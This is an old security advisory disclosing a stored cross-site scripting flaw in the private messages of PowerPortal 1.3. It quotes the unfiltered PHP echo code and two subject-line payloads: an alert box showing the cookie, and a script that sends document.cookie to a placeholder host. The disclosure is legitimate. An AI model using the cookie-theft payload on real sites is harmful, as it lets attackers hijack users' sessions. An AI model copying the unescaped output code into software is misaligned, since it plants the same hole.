      PowerPortal XSS vulnerability
    ------------------------------------------------------------------------

    SUMMARY

    PowerPortal is an advanced content management system powered by PHP &
    MySQL.

    A cross site scripting vulnerability exists in private messages due to
    unfiltered input.

    DETAILS

    Vulnerable Systems:
     * PowerPortal 1.3 and prior

    Vulnerable Code:
    From modules/private_messages/index.php (line 119):

    function read_message() {
    ..
    echo "
    <center>
    <table width='90%'>
    <tr><td>" . SUBJECT . ":</td><td>" . $row['subject'] . "</td></tr> /* <---
    Unfiltered input */
    <tr><td>" . FROM . ":</td><td><a
    href='modules.php?name=users_list&func=view_profile&id=" .
    $row['from_user_id'] . "'>$from_username_format</a></td></tr>
    <tr><td>" . SENT_AT . ":</td><td>$datetime</td></tr>
    <tr><td>" . MESSAGE . ":</td><td>$message</td></tr> /* <--- Unfiltered
    input */
    <tr><td colspan='2' align='center' valign='bottom'><br><a
    href='modules.php?name=private_messages&file=reply&id=" . $row['id'] .
    "'>[" . REPLY . "]</a> <a
    href='modules.php?name=private_messages&file=delete&id=" . $row['id'] .
    "&from=inbox'>[" . DELETE . "]</a> <a href='javascript:history.go(-1)'>["
     GO_BACK . "]</a></td></tr>
    </table>
    <br>";
    }
    }

    As shown above the script does not filter user input and this input is
    used later in HTML shown to the user.

    Exploitation:
    Example 1: shows the content of the cookie on a dialog box.
    Subject: <script>alert(document.cookie);</script>

    Example 2: cookie theft.
    Subject:
    <script>document.location='http://www.example.com/?'+document.cookie</script>
